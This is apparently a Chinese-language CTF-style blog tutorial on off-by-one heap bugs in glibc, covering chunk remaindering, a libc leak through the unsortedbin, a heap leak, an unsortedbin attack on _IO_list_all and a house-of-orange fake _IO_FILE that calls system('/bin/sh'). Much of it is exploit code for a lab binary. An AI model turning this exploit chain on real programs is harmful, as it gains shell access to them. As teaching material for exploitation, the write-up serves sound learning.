这一节的内容是Off-By-One

相比于溢出、UAF、Double Free等漏洞,Off-By-One其实更加容易出现

Off-By-One是指在程序输入时由于边界条件没有检查好,导致能够多输入一个字节的漏洞;

还有更加特殊的情况——Off-By-Null,即能够多输入一个\x00字符

在栈上如果仅仅只是能多输入一个字符,这样一般也很难造成特别大的影响,但是堆就不一样了。

堆上的一个特殊地方就在于prev_inuse

这个位用来标识前一个chunk是否是在用的状态,如果将一个位清零,就可能让堆管理器认为前一个chunk是free的状态,从而分配两次,进一步能导致UAF的问题。

在实践之前还需要了解一个堆的机制,Remaindering

Remaindering

Remaindering实际上就是当无法直接申请到大小合适的chunk时,malloc将一个free chunk分为两个小的chunk,并将其中一个合适大小的分配出去,剩余的chunk加到unsortebin中的过程。

这种处理方式会在三种情况下出现:

  • 从largebins中分配时
  • 搜索binmap过程中
  • unsortedbin遍历时

这一节中的内容涉及到的是unsortedbin遍历时的情况,另外两种情况在后面学习时进行介绍;

再看一眼这个堆结构图

其中在Top Chunk和unsortedbin的fd之间有一项last_remainder

这个字段存储的chunk仅仅可用于大小处于smallbin的申请

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */

在遍历unsortedbin时,如果满足了这样的条件则会从last_remainder中申请分配chunk

实践

文字上的描述看起来又臭又长,还是直接用实例看一下吧。

可以看到这个例子程序安全保护机制全开

运行的时候支持这么几种常见的功能:申请、编辑、读、释放

相比之前的示例程序,这个程序并没有输出堆的地址和libc的地址

因此我们在利用时首先需要泄漏libc

但是并不能决定malloc的大小,每次申请的内存都是0x60

<img src=”https://static.hack1s.fun/images/2021/11/07/image-20211107182339845.png” alt=”image-20211107182339845″ style=”zoom:50%;” />

虽然菜单写的是malloc,但是实际上程序申请内存使用的是calloc

两者的差别主要是calloc申请内存后会将内容置0

漏洞点是edit功能可以编辑比malloc的大小多一个字节的内容

泄漏libc地址

想要泄漏出libc的地址,可以考虑使用unsortedbin leak

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()

edit(chunk_A,b’Y’*0x58 + b’\xc1′)
free(chunk_B)

首先我们修改chunk_B的大小为0xc1

为两个0x60,这样chunk_B就包含了申请时的B和C

这时free掉chunk_B会被加入到unsortedbin中

由于unsortedbin目前只有这一项,fd、bk都会指向main_arena

 

如果能设法读到fd和bk

就可以得到一个libc中的地址

那么问题来了,这时我们再申请一个chunk,这个chunk的起始位置会在哪里呢?

可以看到再次申请的chunk还是在B的位置

原本大小为0xc0的unsortedbin发生了remaindering,切分为了两部分

其中0x60分配给我们这次的申请,另外的0x60又重新被放到了unsortedbin中,也就是我们原本C的位置

看到发生了remaindering之后,main_arena.last_remainder中的值变成了切分下来的这个部分;

那么接下来直接读C的内容就可以得到图中0x7fffd7dd4b78这个指针了

这个值减去88就是main_arena的地址,由此得到了一个libc的地址

offset = lib.sym.main_arena + 88

data = u64(read(chunk_C)[:8])

libc.address = data – offset

 

 

泄漏堆地址

现在我们有了一个泄漏的libc地址,就可以利用house_of_orange中的技巧,用unsortedbin attack尝试覆盖_IO_list_all的vtable了

这样我们需要在堆上伪造一个_IO_FILE出来,但是要确定vtable的值还需要泄漏一个堆上的地址

那么我们就可以利用目前chunk_C这里的双重指针,构造出一个fastbin的fd

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

这样chunk_C的前8个字节就变成了一个fastbin的fd,指向的是chunk_A的位置即堆的起始地址

heap = u64(read(chunk_C)[:8])
log.info(f”heap @ {heap:02x}”)

 

unsortedbin attack

接下来就是利用unsortedbin attack完成之前house of orange中的最后一步

修改_IO_list_all

这里要完成unsortedbin attack我们其实可以在获取libc地址和获取堆地址之间完成

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()

edit(chunk_A,b’Y’*0x58 + b’\xc1′)
free(chunk_B)

offset = lib.sym.main_arena + 88
data = u64(read(chunk_C)[:8])
libc.address = data – offset
log.info(f”libc @ {libc:02x}”)

edit(chunk_C, p64(0) + p64(libc.sym._IO_list_all – 0x10))

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

heap = u64(read(chunk_C)[:8])
log.info(f”heap @ {heap:02x}”)

只需要加一句edit(chunk_C)就可以

回忆一下unsortedbin attack,我们只要控制了bk,就可以在任意位置写入一个当前chunk的地址;

将fd设置为任意值,bk设置为_IO_list_all - 0x10

这样就可以将_IO_list_all覆盖为chunk_C的地址了

接下来需要做的是在堆上构造一个 _IO_FILE,我们可以先直接将之前house of orange中的payload复制过来

payload = b”Y”*0x10
flag = b’/bin/sh\x00′

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all – 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)
overflow = p64(libc.sym.system)

payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable

这里面有一部分最初的填充是不需要的,另外vtable的值可能也需要变一变

去掉开头的填充后整个payload的长度是224,即0xE0

如果从chunk_C开始算起,那么我们还是需要三个0x60大小的chunk来放这些内容

edit(chunk_B,p64(0)*10+b”/bin/sh\x00″)
edit(chunk_C,p64(fd)+p64(bk)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))

计算之后vtable的值应该设置为heap+0x178

图中绿色是/bin/sh的字符串

粉色是write_basewrite_ptr,已经设置为了1和2

红色是overflow函数指针,设置为了system的地址

蓝色是vtable指针,重新指向了heap+0x178

这时只要再次malloc,将unsortedbin sort到0x60的smallbin中,_IO_list_all就会顺着_chain指向我们伪造的_IO_FILE

发表回复

您的电子邮箱地址不会被公开。